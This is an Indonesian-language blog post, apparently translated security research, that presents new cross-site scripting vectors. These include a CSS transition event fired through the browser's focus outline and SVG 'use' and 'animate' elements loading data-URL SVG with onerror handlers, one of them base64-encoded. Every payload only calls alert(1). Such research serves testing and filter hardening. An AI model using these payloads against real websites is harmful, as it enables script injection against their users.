Penemuan Baru Bug XSS Vectors - CRUDPRO

Penemuan Baru Bug XSS Vectors

XSS adalah jenis serangan injeksi kode. XSS dijalankan oleh penyerang yang memasukkan kode HTML atau kode skrip klien lainnya ke dalam situs. Serangan ini tampaknya berasal dari situs. Sebagai akibat dari serangan ini, khususnya, penyerang dapat menghindari keamanan sisi klien, memperoleh informasi sensitif, atau menyimpan aplikasi berbahaya. Pada pembahasan kali ini saya akan memberikan jenis XSS lain, yuk langusng saja pada pembahasan..

Transisi berbasis event tanpa blok style

Jadi saya baru-baru ini memperbarui lembar contekan XSS untuk memperbaiki vectors tertentu yang sudah usang oleh pembaruan browser. Saat melihat vectors, transisi event stuck di kepalaku. Mereka membutuhkan blok style serta event:

<style>:target {color:red;}</style>
<xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>

Saya ingin menghapus persyaratan blok style. style browser mana yang ditambahkan secara default? Saya mencari di Google sedikit, dan halaman W3Schools membawa saya ke penemuan saya. Tag tertentu memiliki pemilih fokus. Ini sangat menarik karena ini berarti bahwa transisi akan bekerja dengan tag. Melihat daftar, saya perhatikan bahwa garis besar digunakan. Kemudian saya ingat bahwa Chrome akan menempatkan garis besar di sekitar elemen saat elemen tersebut dapat difokuskan untuk aksesibilitas.

Ini berarti bahwa jika Anda menerapkan transisi ke properti kerangka, Anda dapat menghapus persyaratan blok style. vectors ini bekerja dengan tag yang dapat difokuskan.

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>

Peretasan XSS yang tepat! Seperti di masa lalu.

SVG "use" vectors elemen

Belum lama ini, saya menemukan beberapa vectors hebat berbasis SVG yang mungkin belum Anda kenal. Pembaruan browser terbaru telah mengubah perilaku elemen "use" di Chrome dan Firefox. Anda sekarang dapat menjalankan xml secara otomatis dengan SVG yang disematkan di URL data elemen "use".

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

Base64 yang didekodekan adalah:

<svg id='x' xmlns='http://www.w3.org/2000/svg'
 xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>

Tentu saja, Anda tidak harus menggunakan base64, tetapi Anda dapat melakukan hal berikut:

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />

Terakhir, Anda dapat menggunakan tag animate untuk memodifikasi href dari elemen "use" untuk menjalankan xml.

<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'>
<image href='1' onerror='alert(1)' /></svg>#x" />
<use id=x />

Jika Anda menyukai vectors ini dan ingin tahu lebih banyak, saya merekomendasikan bagian XSS dari Akademi Keamanan Web. Di sini Anda dapat mengasah keterampilan Anda di lab interaktif. Atau, kunjungi lembar contekan XSS untuk mengetahui lebih lanjut.